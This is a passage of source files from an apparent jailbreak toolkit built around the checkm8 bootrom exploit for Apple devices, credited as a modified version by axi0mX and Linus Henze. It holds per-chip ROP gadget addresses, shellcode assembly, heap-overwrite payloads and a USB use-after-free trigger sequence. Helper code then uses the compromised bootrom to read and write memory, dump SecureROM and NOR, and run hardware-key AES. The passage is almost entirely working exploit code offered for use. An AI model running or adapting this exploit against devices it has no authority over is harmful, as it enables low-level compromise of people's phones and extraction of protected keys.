- USB_CORE_DO_IO\n    ]\n    constants_checkm8_t8010 = [\n               0x180088A30, # 1 - gUSBDescriptors\n               0x180083CF8, # 2 - gUSBSerialNumber\n               0x10000D150, # 3 - usb_create_string_descriptor\n               0x1800805DA, # 4 - gUSBSRNMStringDescriptor\n               0x1800AFC00, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE\n               0x180088B48, # 8 - PAYLOAD_PTR\n    ]\n    t8010_func_gadget              = 0x10000CC4C\n    t8010_enter_critical_section   = 0x10000A4B8\n    t8010_exit_critical_section    = 0x10000A514\n    t8010_dc_civac                 = 0x10000046C\n    t8010_write_ttbr0              = 0x1000003E4\n    t8010_tlbi                     = 0x100000434\n    t8010_dmb                      = 0x100000478\n    t8010_handle_interface_request = 0x10000DFB8\n    t8010_callbacks = [\n      (t8010_dc_civac, 0x1800B0600),\n      (t8010_dmb, 0),\n      (t8010_enter_critical_section, 0),\n      (t8010_write_ttbr0, 0x1800B0000),\n      (t8010_tlbi, 0),\n      (0x1820B0610, 0),\n      (t8010_write_ttbr0, 0x1800A0000),\n      (t8010_tlbi, 0),\n      (t8010_exit_critical_section, 0),\n      (0x1800B0000, 0),\n    ]\n    t8010_handler = asm_arm64_x7_trampoline(t8010_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8010)[4:]\n    t8010_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8010)\n    assert len(t8010_shellcode) <= PAYLOAD_OFFSET_ARM64\n    assert len(t8010_handler) <= PAYLOAD_SIZE_ARM64\n    t8010_shellcode = t8010_shellcode + '\\0' * (PAYLOAD_OFFSET_ARM64 - len(t8010_shellcode)) + t8010_handler\n    assert len(t8010_shellcode) <= 0x400\n    return struct.pack('<1024sQ504x2Q496s32x', t8010_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks)\n  if cpid == 0x8011:\n    constants_usb_t8011 = [\n               0x1800B0000, # 1 - LOAD_ADDRESS\n        0x6578656365786563, # 2 - EXEC_MAGIC\n        0x646F6E65646F6E65, # 3 - DONE_MAGIC\n        0x6D656D636D656D63, # 4 - MEMC_MAGIC\n        0x6D656D736D656D73, # 5 - MEMS_MAGIC\n               0x10000DD64, # 6 - USB_CORE_DO_IO\n    ]\n    constants_checkm8_t8011 = [\n               0x180088948, # 1 - gUSBDescriptors\n               0x180083D28, # 2 - gUSBSerialNumber\n               0x10000D234, # 3 - usb_create_string_descriptor\n               0x18008062A, # 4 - gUSBSRNMStringDescriptor\n               0x1800AFC00, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE\n               0x180088A58, # 8 - PAYLOAD_PTR\n    ]\n    t8011_func_gadget              = 0x10000CCEC\n    t8011_dc_civac                 = 0x10000047C\n    t8011_write_ttbr0              = 0x1000003F4\n    t8011_tlbi                     = 0x100000444\n    t8011_dmb                      = 0x100000488\n    t8011_handle_interface_request = 0x10000E08C\n    t8011_callbacks = [\n      (t8011_dc_civac, 0x1800B0600),\n      (t8011_dc_civac, 0x1800B0000),\n      (t8011_dmb, 0),\n      (t8011_write_ttbr0, 0x1800B0000),\n      (t8011_tlbi, 0),\n      (0x1820B0610, 0),\n      (t8011_write_ttbr0, 0x1800A8000), # A custom pagetable we just set up\n      (t8011_tlbi, 0),\n      (0x1800B0000, 0),\n      (t8011_write_ttbr0, 0x1800A0000), # Real pagetable\n      (t8011_tlbi, 0),\n    ]\n\n    t8011_handler   = asm_arm64_x7_trampoline(t8011_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8011)[4:]\n    t8011_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8011)\n    assert len(t8011_shellcode) <= PAYLOAD_OFFSET_ARM64\n    assert len(t8011_handler) <= PAYLOAD_SIZE_ARM64\n    t8011_shellcode = t8011_shellcode + '\\0' * (PAYLOAD_OFFSET_ARM64 - len(t8011_shellcode)) + t8011_handler\n    assert len(t8011_shellcode) <= 0x400\n    return struct.pack('<1024sQ504x2Q496s32x', t8011_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8011_func_gadget, t8011_callbacks)\n  if cpid == 0x8015:\n    constants_usb_t8015 = [\n               0x18001C000, # 1 - LOAD_ADDRESS\n        0x6578656365786563, # 2 - EXEC_MAGIC\n        0x646F6E65646F6E65, # 3 - DONE_MAGIC\n        0x6D656D636D656D63, # 4 - MEMC_MAGIC\n        0x6D656D736D656D73, # 5 - MEMS_MAGIC\n               0x10000B9A8, # 6 - USB_CORE_DO_IO\n    ]\n    constants_checkm8_t8015 = [\n               0x180008528, # 1 - gUSBDescriptors\n               0x180003A78, # 2 - gUSBSerialNumber\n               0x10000AE80, # 3 - usb_create_string_descriptor\n               0x1800008FA, # 4 - gUSBSRNMStringDescriptor\n               0x18001BC00, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE\n               0x180008638, # 8 - PAYLOAD_PTR\n    ]\n    t8015_load_write_gadget        = 0x10000945C\n    t8015_write_sctlr_gadget       = 0x1000003EC\n    t8015_func_gadget              = 0x10000A9AC\n    t8015_write_ttbr0              = 0x10000045C\n    t8015_tlbi                     = 0x1000004AC\n    t8015_dc_civac                 = 0x1000004D0\n    t8015_dmb                      = 0x1000004F0\n    t8015_handle_interface_request = 0x10000BCCC\n    t8015_callbacks = [\n      (t8015_dc_civac, 0x18001C800),\n      (t8015_dc_civac, 0x18001C840),\n      (t8015_dc_civac, 0x18001C880),\n      (t8015_dmb, 0),\n      (t8015_write_sctlr_gadget, 0x100D),\n      (t8015_load_write_gadget, 0x18001C000),\n      (t8015_load_write_gadget, 0x18001C010),\n      (t8015_write_ttbr0, 0x180020000),\n      (t8015_tlbi, 0),\n      (t8015_load_write_gadget, 0x18001C020),\n      (t8015_write_ttbr0, 0x18000C000),\n      (t8015_tlbi, 0),\n      (0x18001C800, 0),\n    ]\n    t8015_callback_data = usb_rop_callbacks(0x18001C020, t8015_func_gadget, t8015_callbacks)\n    t8015_handler = asm_arm64_x7_trampoline(t8015_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8015)[4:]\n    t8015_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8015)\n    assert len(t8015_shellcode) <= PAYLOAD_OFFSET_ARM64\n    assert len(t8015_handler) <= PAYLOAD_SIZE_ARM64\n    t8015_shellcode = t8015_shellcode + '\\0' * (PAYLOAD_OFFSET_ARM64 - len(t8015_shellcode)) + t8015_handler\n    return struct.pack('<6Q16x448s1536x1024s', 0x180020400-8, 0x1000006A5, 0x180020600-8, 0x180000625, 0x18000C600-8, 0x180000625, t8015_callback_data, t8015_shellcode)\n\ndef all_exploit_configs():\n  t8010_nop_gadget = 0x10000CC6C\n  t8011_nop_gadget = 0x10000CD0C\n  t8015_nop_gadget = 0x10000A9C4\n\n  s5l8947x_overwrite = struct.pack('<20xI4x', 0x34000000)\n  s5l895xx_overwrite = struct.pack('<20xI4x', 0x10000000)\n  t800x_overwrite    = struct.pack('<20xI4x', 0x48818000)\n  s5l8960x_overwrite = struct.pack('<32xQ8x', 0x180380000)\n  t8010_overwrite    = struct.pack('<32x2Q16x32x2QI',    t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef)\n  t8011_overwrite    = struct.pack('<32x2Q', t8011_nop_gadget, 0x1800B0800)\n  t8015_overwrite    = struct.pack('<32x2Q16x32x2Q12xI', t8015_nop_gadget, 0x18001C020, t8015_nop_gadget, 0x18001C020, 0xbeefbeef)\n  \n  s5l8947x_overwrite_offset = 0x660\n  s5l895xx_overwrite_offset = 0x640\n  t800x_overwrite_offset    = 0x5C0\n  s5l8960x_overwrite_offset = 0x580\n  t8010_overwrite_offset    = 0x580\n  t8011_overwrite_offset    = 0x540\n  t8015_overwrite_offset    = 0x500\n\n  return [\n    DeviceConfig('iBoot-1458.2',          0x8947,  626, s5l8947x_overwrite, s5l8947x_overwrite_offset, None, None), # S5L8947 (DFU loop)     1.97 seconds\n    DeviceConfig('iBoot-1145.3'  ,        0x8950,  659, s5l895xx_overwrite, s5l895xx_overwrite_offset, None, None), # S5L8950 (buttons)      2.30 seconds\n    DeviceConfig('iBoot-1145.3.3',        0x8955,  659, s5l895xx_overwrite, s5l895xx_overwrite_offset, None, None), # S5L8955 (buttons)      2.30 seconds\n    DeviceConfig('iBoot-1704.10',         0x8960, 7936, s5l8960x_overwrite, s5l8960x_overwrite_offset, None, None), # S5L8960 (buttons)     13.97 seconds\n    DeviceConfig('iBoot-2651.0.0.1.31',   0x8002, None,    t800x_overwrite, t800x_overwrite_offset,    5,    1), # T8002 (DFU loop)  NEW: 1.27 seconds\n    DeviceConfig('iBoot-2651.0.0.3.3',    0x8004, None,    t800x_overwrite, t800x_overwrite_offset,    5,    1), # T8004 (buttons)   NEW: 1.06 seconds\n    DeviceConfig('iBoot-2696.0.0.1.33',   0x8010, None,    t8010_overwrite, t8010_overwrite_offset,    5,    1), # T8010 (buttons)   NEW: 0.68 seconds\n    DeviceConfig('iBoot-3135.0.0.2.3',    0x8011, None,    t8011_overwrite, t8011_overwrite_offset,    6,    1), # T8011 (buttons)   NEW: 0.87 seconds\n    DeviceConfig('iBoot-3332.0.0.1.23',   0x8015, None,    t8015_overwrite, t8015_overwrite_offset,    6,    1), # T8015 (DFU loop)  NEW: 0.66 seconds\n  ]\n\ndef exploit_config(serial_number):\n  for config in all_exploit_configs():\n    if 'SRTG:[%s]' % config.version in serial_number:\n      return payload(config.cpid), config\n  for config in all_exploit_configs():\n    if 'CPID:%s' % config.cpid in serial_number:\n      print 'ERROR: CPID is compatible, but serial number string does not match.'\n      print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'\n      sys.exit(1)\n  print 'ERROR: This is not a compatible device. Exiting.'\n  sys.exit(1)\n\ndef exploit():\n  print '*** checkm8 exploit by axi0mX ***'\n  print '*** modified version by Linus Henze ***'\n\n  device = dfu.acquire_device()\n  start = time.time()\n  print 'Found:', device.serial_number\n  if 'PWND:[' in device.serial_number:\n    print 'Device is already in pwned DFU Mode. Not executing exploit.'\n    return\n  payload, config = exploit_config(device.serial_number)\n\n  if config.large_leak is not None:\n    usb_req_stall(device)\n    for i in range(config.large_leak):\n      usb_req_leak(device)\n    usb_req_no_leak(device)\n  else:\n    stall(device)\n    for i in range(config.hole):\n      no_leak(device)\n    leak(device)\n    no_leak(device)\n  dfu.usb_reset(device)\n  dfu.release_device(device)\n\n  device = dfu.acquire_device()\n  device.serial_number\n  libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)\n\n  # Advance buffer offset before triggering the UaF to prevent trashing the heap\n  libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * config.overwrite_offset, 10)\n  libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)\n  dfu.release_device(device)\n\n  time.sleep(0.5)\n\n  device = dfu.acquire_device()\n  usb_req_stall(device)\n  if config.large_leak is not None:\n    usb_req_leak(device)\n  else:\n    for i in range(config.leak):\n      usb_req_leak(device)\n  libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)\n  for i in range(0, len(payload), 0x800):\n    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)\n  dfu.usb_reset(device)\n  dfu.release_device(device)\n\n  device = dfu.acquire_device()\n  if 'PWND:[checkm8]' not in device.serial_number:\n    print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'\n    sys.exit(1)\n  print 'Device is now in pwned DFU Mode.'\n  print '(%0.2f seconds)' % (time.time() - start)\n  dfu.release_device(device)\n"
  },
  {
    "path": "device_platform.py",
    "content": "class DevicePlatform:\n  def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, rom_sha1, sram_base, sram_size, dram_base, nonce_length, sep_nonce_length, demotion_reg):\n    self.cpid             = cpid\n    self.cprv             = cprv\n    self.scep             = scep\n    self.arch             = arch\n    self.srtg             = srtg\n    self.rom_base         = rom_base\n    self.rom_size         = rom_size\n    self.rom_sha1         = rom_sha1\n    self.sram_base        = sram_base\n    self.sram_size        = sram_size\n    self.dram_base        = dram_base\n    self.nonce_length     = nonce_length\n    self.sep_nonce_length = sep_nonce_length\n    self.demotion_reg     = demotion_reg\n    if self.cpid in [0x8940, 0x8947]:\n      self.dfu_image_base      = 0x34000000\n      self.dfu_load_base       = 0x9FF00000\n      self.recovery_image_base = 0x9FF00000\n      self.recovery_load_base  = 0x80000000\n    if self.cpid in [0x8950, 0x8955]:\n      self.dfu_image_base      = 0x10000000\n      self.dfu_load_base       = 0xBFF00000\n      self.recovery_image_base = 0xBFF00000\n      self.recovery_load_base  = 0x80000000\n    if self.cpid == 0x8960:\n      self.dfu_image_base      = 0x180380000\n      self.dfu_load_base       = 0x180000000 # varies (HACK: test purposes)\n      self.recovery_image_base = 0x83D7F7000 # varies\n      self.recovery_load_base  = 0x800000000\n    if self.cpid in [0x8002, 0x8004]:\n      self.dfu_image_base      = 0x48818000\n      self.dfu_load_base       = 0x80000000\n      self.recovery_image_base = 0x48818000\n      self.recovery_load_base  = 0x80000000\n    if self.cpid in [0x8010, 0x8011]:\n      self.dfu_image_base      = 0x1800B0000\n      self.dfu_load_base       = 0x800000000\n      self.recovery_image_base = 0x1800B0000\n      self.recovery_load_base  = 0x800000000\n    if self.cpid in [0x8015]:\n      self.dfu_image_base      = 0x18001C000\n      self.dfu_load_base       = 0x800000000\n      self.recovery_image_base = 0x18001C000\n      self.recovery_load_base  = 0x800000000\n\n  def name(self):\n    if 0x8720 <= self.cpid <= 0x8960:\n      return 's5l%xxsi' % self.cpid\n    elif self.cpid in [0x7002, 0x8000, 0x8001, 0x8003]:\n      return 's%xsi' % self.cpid\n    else:\n      return 't%xsi' % self.cpid\n\nall_platforms = [\n  DevicePlatform(cpid=0x8947, cprv=0x00, scep=0x10, arch='armv7', srtg='iBoot-1458.2',\n    rom_base=0x3F000000, rom_size=0x10000, rom_sha1='d9320ddd4bdb1de79ae0601f20e7db23441ab1a7',\n    sram_base=0x34000000, sram_size=0x40000,\n    dram_base=0x80000000,\n    nonce_length=20, sep_nonce_length=None,\n    demotion_reg=0x3F500000,\n  ),\n  DevicePlatform(cpid=0x8950, cprv=0x20, scep=0x10, arch='armv7s', srtg='iBoot-1145.3',\n    rom_base=0x3F000000, rom_size=0x10000, rom_sha1='50a8dd9863868c971aaf95a96e5152378784e4db',\n    sram_base=0x10000000, sram_size=0x80000,\n    dram_base=0x80000000,\n    nonce_length=20, sep_nonce_length=None,\n    demotion_reg=0x3F500000,\n  ),\n  DevicePlatform(cpid=0x8955, cprv=0x20, scep=0x10, arch='armv7s', srtg='iBoot-1145.3.3',\n    rom_base=0x3F000000, rom_size=0x10000, rom_sha1='3af575cc84e54f951db2a83227737664abdc8f40',\n    sram_base=0x10000000, sram_size=0x80000,\n    dram_base=0x80000000,\n    nonce_length=20, sep_nonce_length=None,\n    demotion_reg=0x3F500000,\n  ),\n  DevicePlatform(cpid=0x8002, cprv=0x10, scep=0x01, arch='armv7k', srtg='iBoot-2651.0.0.1.31',\n    rom_base=0x40000000, rom_size=0x100000, rom_sha1='46c14a17f54ec6079260e9253e813084ab1e634b',\n    sram_base=0x48800000, sram_size=0x120000,\n    dram_base=0x80000000,\n    nonce_length=32, sep_nonce_length=20,\n    demotion_reg=0x481BC000,\n  ),\n  DevicePlatform(cpid=0x8004, cprv=0x10, scep=0x01, arch='armv7k', srtg='iBoot-2651.0.0.3.3',\n    rom_base=0x40000000, rom_size=0x20000, rom_sha1='8afdcd6c147ac63fddadd1b92536d1f80c0b8a21',\n    sram_base=0x48800000, sram_size=0x140000,\n    dram_base=0x80000000,\n    nonce_length=32, sep_nonce_length=20,\n    demotion_reg=0x481BC000,\n  ),\n  DevicePlatform(cpid=0x8960, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-1704.10',\n    rom_base=0x100000000, rom_size=0x80000, rom_sha1='2ae035c46e02ca40ae777f89a6637be694558f0a',\n    sram_base=0x180000000, sram_size=0x400000,\n    dram_base=0x800000000,\n    nonce_length=20, sep_nonce_length=20,\n    demotion_reg=0x20E02A000,\n  ),\n  DevicePlatform(cpid=0x8010, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-2696.0.0.1.33',\n    rom_base=0x100000000, rom_size=0x20000, rom_sha1='41a488b3c46ff06c1a2376f3405b079fb0f15316',\n    sram_base=0x180000000, sram_size=0x200000,\n    dram_base=0x800000000,\n    nonce_length=32, sep_nonce_length=20,\n    demotion_reg=0x2102BC000,\n  ),\n  DevicePlatform(cpid=0x8011, cprv=0x10, scep=0x01, arch='arm64', srtg='iBoot-3135.0.0.2.3',\n    rom_base=0x100000000, rom_size=0x100000, rom_sha1='2fae20a11860b0e3ce1d8a6df7d3961f610ab70d',\n    sram_base=0x180000000, sram_size=0x200000,\n    dram_base=0x800000000,\n    nonce_length=32, sep_nonce_length=20,\n    demotion_reg=0x2102BC000,\n  ),\n  DevicePlatform(cpid=0x8015, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-3332.0.0.1.23',\n    rom_base=0x100000000, rom_size=0x100000, rom_sha1='96fccb1a63de1a2d50ff14555d3898a5af46e9b1',\n    sram_base=0x180000000, sram_size=0x200000,\n    dram_base=0x800000000,\n    nonce_length=32, sep_nonce_length=20,\n    demotion_reg=0x2352BC000,\n  ),\n]\n"
  },
  {
    "path": "dfu.py",
    "content": "import sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport usb.backend.libusb1\nimport libusbfinder\n\nMAX_PACKET_SIZE = 0x800\n\ndef acquire_device(timeout=5.0, match=None, fatal=True):\n  backend = usb.backend.libusb1.get_backend(find_library=lambda x:libusbfinder.libusb1_path())\n  #print 'Acquiring device handle.'\n  # Keep retrying for up to timeout seconds if device is not found.\n  start = time.time()\n  once = False\n  while not once or time.time() - start < timeout:\n      once = True\n      for device in usb.core.find(find_all=True, idVendor=0x5AC, idProduct=0x1227, backend=backend):\n          if match is not None and match not in device.serial_number:\n              continue\n          return device\n      time.sleep(0.001)\n  if fatal:\n      print 'ERROR: No Apple device in DFU Mode 0x1227 detected after %0.2f second timeout. Exiting.' % timeout\n      sys.exit(1)\n  return None\n\ndef release_device(device):\n    #print 'Releasing device handle.'\n    usb.util.dispose_resources(device)\n\ndef reset_counters(device):\n    #print 'Resetting USB counters.'\n    assert device.ctrl_transfer(0x21, 4, 0, 0, 0, 1000) == 0\n\ndef usb_reset(device):\n    #print 'Performing USB port reset.'\n    try:\n        device.reset()\n    except usb.core.USBError:\n        # OK: doesn't happen on Yosemite but happens on El Capitan and Sierra\n        pass\n        #print 'Caught exception during port reset; should still work.'\n\ndef send_data(device, data):\n    #print 'Sending 0x%x of data to device.' % len(data)\n    index = 0\n    while index < len(data):\n        amount = min(len(data) - index, MAX_PACKET_SIZE)\n        assert device.ctrl_transfer(0x21, 1, 0, 0, data[index:index + amount], 5000) == amount\n        index += amount\n\ndef get_data(device, amount):\n    #print 'Getting 0x%x of data from device.' % amount\n    data = str()\n    while amount > 0:\n        part = min(amount, MAX_PACKET_SIZE)\n        ret = device.ctrl_transfer(0xA1, 2, 0, 0, part, 5000)\n        assert len(ret) == part\n        data += ret.tostring()\n        amount -= part\n    return data\n\ndef request_image_validation(device):\n    #print 'Requesting image validation.'\n    assert device.ctrl_transfer(0x21, 1, 0, 0, '', 1000) == 0\n    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)\n    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)\n    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)\n    usb_reset(device)\n"
  },
  {
    "path": "dfuexec.py",
    "content": "import binascii, datetime, hashlib, struct, sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport dfu, recovery, image3, image3_24Kpwn, utilities\n\nEXEC_MAGIC = 'exec'[::-1]\nAES_BLOCK_SIZE = 16\nAES_GID_KEY = 0x20000200\nAES_UID_KEY = 0x20000201\nAES_ENCRYPT = 16\nAES_DECRYPT = 17\n\nclass PwnedDeviceConfig:\n    def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_device, load_address, rom_address, rom_size, rom_sha256):\n        self.version = version\n        self.cpid = cpid\n        self.aes_crypto_cmd = aes_crypto_cmd\n        self.memmove = memmove\n        self.get_block_device = get_block_device\n        self.load_address = load_address\n        self.rom_address = rom_address\n        self.rom_size = rom_size\n        self.rom_sha256 = rom_sha256\n\nconfigs = [\n    #PwnedDeviceConfig(\n    #    # S5L8720 (old bootrom)\n    #    version='240.4',\n    #    cpid='8720',\n    #    aes_crypto_cmd=0x899,\n    #    memmove=0x795c,\n    #    get_block_device=0x1091,\n    #    load_address=0x22000000,\n    #    rom_address=0x20000000,\n    #    rom_size=0x10000,\n    #    rom_sha256='55f4d8ea2791ba51dd89934168f38f0fb21ce8762ff614c1e742407c0d3ca054'\n    #),\n    #PwnedDeviceConfig(\n    #    # S5L8720 (new bootrom)\n    #    version='240.5.1',\n    #    cpid='8720',\n    #    aes_crypto_cmd=0x899,\n    #    memmove=0x7964,\n    #    get_block_device=0x1091,\n    #    load_address=0x22000000,\n    #    rom_address=0x20000000,\n    #    rom_size=0x10000,\n    #    rom_sha256='f15ae522dc9e645fcf997f6cec978ed3ce1811915e84938c68203fb95d80d300'\n    #),\n    PwnedDeviceConfig(\n        # S5L8920 (old bootrom)\n        version='359.3',\n        cpid='8920',\n        aes_crypto_cmd=0x925,\n        memmove=0x83d4,\n        get_block_device=0x1351,\n        load_address=0x84000000,\n        rom_address=0xbf000000,\n        rom_size=0x10000,\n        rom_sha256='99fd16f919a506c7f0701620e132e18c0e6f4025a57a85807960ca092e5e3587'\n    ),\n    PwnedDeviceConfig(\n        # S5L8920 (new bootrom)\n        version='359.3.2',\n        cpid='8920',\n        aes_crypto_cmd=0x925,\n        memmove=0x83dc,\n        get_block_device=0x1351,\n        load_address=0x84000000,\n        rom_address=0xbf000000,\n        rom_size=0x10000,\n        rom_sha256='0e6feb1144c95b1ee088ecd6c45bfdc2ed17191167555b6ca513d6572e463c86'),\n    PwnedDeviceConfig(\n       # S5L8922\n       version='359.5',\n       cpid='8922',\n       aes_crypto_cmd=0x919,\n       memmove=0x8564,\n       get_block_device=0x1851,\n       load_address=0x84000000,\n       rom_address=0xbf000000,\n       rom_size=0x10000,\n       rom_sha256='07b8a615f00961c5802451b5717c344db287b68c5f6d2331ac6ba7a6acdbac9d'\n    ),\n    PwnedDeviceConfig(\n       # S5L8930\n       version='574.4',\n       cpid='8930',\n       aes_crypto_cmd=0x686d,\n       memmove=0x84dc,\n       get_block_device=0x81d5,\n       load_address=0x84000000,\n       rom_address=0xbf000000,\n       rom_size=0x10000,\n       rom_sha256='4f34652a238a57ae0018b6e66c20a240cdbee8b4cca59a99407d09f83ea8082d'\n    ),\n]\n\nclass PwnedDFUDevice():\n    def __init__(self):\n        device = dfu.acquire_device()\n        self.identifier = device.serial_number\n        dfu.release_device(device)\n\n        if 'PWND:[' not in self.identifier:\n            print 'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.'\n            sys.exit(1)\n\n        if 'CPID:8720' in self.identifier:\n            print 'ERROR: This feature is not supported on iPod Touch (2nd generation).'\n            sys.exit(1)\n\n        self.config = None\n        for config in configs:\n            if 'SRTG:[iBoot-%s]' % config.version in self.identifier:\n                self.config = config\n                break\n        if self.config is None:\n            print 'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.'\n            sys.exit(1)\n\n    def ecid_string(self):\n        tokens = self.identifier.split()\n        for token in tokens:\n            if token.startswith('ECID:'):\n                return token[5:]\n        print 'ERROR: ECID is missing from USB serial number string.'\n        sys.exit(1)\n\n    def execute(self, cmd, receiveLength):\n        device = dfu.acquire_device()\n        assert self.identifier == device.serial_number\n\n        dfu.reset_counters(device)\n        dfu.send_data(device, EXEC_MAGIC + cmd)\n        dfu.request_image_validation(device)\n        dfu.release_device(device)\n\n        time.sleep(0.5)\n\n        device = dfu.acquire_device()\n        assert self.identifier == device.serial_number\n\n        requiredLength = 0x8 + receiveLength\n        requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800\n        received = dfu.get_data(device, requiredLength)\n        dfu.release_device(device)\n\n        (exec_cleared, retval) = struct.unpack('<2I', received[:8])\n        assert exec_cleared == 0\n        return (retval, received[8:8 + receiveLength])\n\n    def securerom_dump(self):\n        securerom = self.read_memory(self.config.rom_address, self.config.rom_size)\n        if hashlib.sha256(securerom).hexdigest() != self.config.rom_sha256:\n            print 'ERROR: SecureROM was dumped, but the SHA256 hash does not match. Exiting.'\n            sys.exit(1)\n        return securerom\n\n    def aes(self, data, action, key):\n        if len(data) % AES_BLOCK_SIZE != 0:\n            print 'ERROR: Length of data for AES encryption/decryption must be a multiple of %s.' % AES_BLOCK_SIZE\n            sys.exit(1)\n\n        cmd = struct.pack('<8I', self.config.aes_crypto_cmd, action, self.config.load_address + 36, self.config.load_address + 0x8, len(data), key, 0, 0)\n        (retval, received) = self.execute(cmd + data, len(data))\n        return received[:len(data)]\n\n    def aes_hex(self, hexdata, action, key):\n        if len(hexdata) % 32 != 0:\n            print 'ERROR: Length of hex data for AES encryption/decryption must be a multiple of %s.' % (2 * AES_BLOCK_SIZE)\n            sys.exit(1)\n\n        return binascii.hexlify(self.aes(binascii.unhexlify(hexdata), action, key))\n\n    def read_memory(self, address, length):\n        (retval, data) = self.execute(struct.pack('<4I', self.config.memmove, self.config.load_address + 8, address, length), length)\n        return data\n\n    def write_memory(self, address, data):\n        (retval, data) = self.execute(struct.pack('<4I%ss' % len(data), self.config.memmove, address, self.config.load_address + 20, len(data), data), 0)\n        return data\n\n    def nor_dump(self, saveBackup):\n        (bdev, empty) = self.execute(struct.pack('<2I5s', self.config.get_block_device, self.config.load_address + 12, 'nor0\\x00'), 0)\n        if bdev == 0:\n            print 'ERROR: Unable to dump NOR. Pointer to nor0 block device was NULL.'\n            sys.exit(1)\n\n        data = self.read_memory(bdev + 28, 4)\n        (read,) = struct.unpack('<I', data)\n        if read == 0:\n            print 'ERROR: Unable to dump NOR. Function pointer for reading was NULL.'\n            sys.exit(1)\n\n        NOR_PART_SIZE = 0x20000\n        NOR_PARTS = 8\n        nor = str()\n        for i in range(NOR_PARTS):\n            print 'Dumping NOR, part %s/%s.' % (i+1, NOR_PARTS)\n            (retval, received) = self.execute(struct.pack('<6I', read, bdev, self.config.load_address + 8, i * NOR_PART_SIZE, 0, NOR_PART_SIZE), NOR_PART_SIZE)\n            nor += received\n\n        if saveBackup:\n            date = datetime.datetime.now().strftime('%Y%m%d-%H%M%S')\n            filename = 'nor-backups/nor-%s-%s.dump' % (self.ecid_string(), date)\n            f = open(filename, 'wb')\n            f.write(nor)\n            f.close()\n            print 'NOR backed up to file: %s' % filename\n\n        return nor\n\n    def boot_ibss(self):\n        print 'Sending iBSS.'\n        if self.config.cpid != '8920':\n            print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.'\n            sys.exit(1)\n\n        help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'\n        help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'\n        try:\n            f = open('n88ap-iBSS-4.3.5.img3', 'rb')\n            data = f.read()\n            f.close()\n        except:\n            print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.'\n            print help1\n            print help2\n            sys.exit(1)\n        if len(data) == 0:\n            print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).'\n            print help1\n            print help2\n            sys.exit(1)\n        if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':\n            print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.'\n            print help1\n            print help2\n            sys.exit(1)\n\n        iBSS = image3.Image3(data)\n        decryptediBSS = iBSS.newImage3(decrypted=True)\n        n88ap_iBSS_435_patches = [\n            (0x14954,                     'run\\x00'), # patch 'reset' command string to 'run'\n            (0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1\n        ]\n        patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches)\n\n        device = dfu.acquire_device()\n        assert self.identifier == device.serial_number\n        dfu.reset_counters(device)\n        dfu.request_image_validation(device)\n        dfu.release_device(device)\n\n        time.sleep(0.5)\n\n        device = dfu.acquire_device()\n        assert self.identifier == device.serial_number\n        data = dfu.send_data(device, patchediBSS)\n        dfu.request_image_validation(device)\n        dfu.release_device(device)\n\n        time.sleep(0.5)\n\n        print 'Waiting for iBSS to enter Recovery Mode.'\n        device = recovery.acquire_device()\n        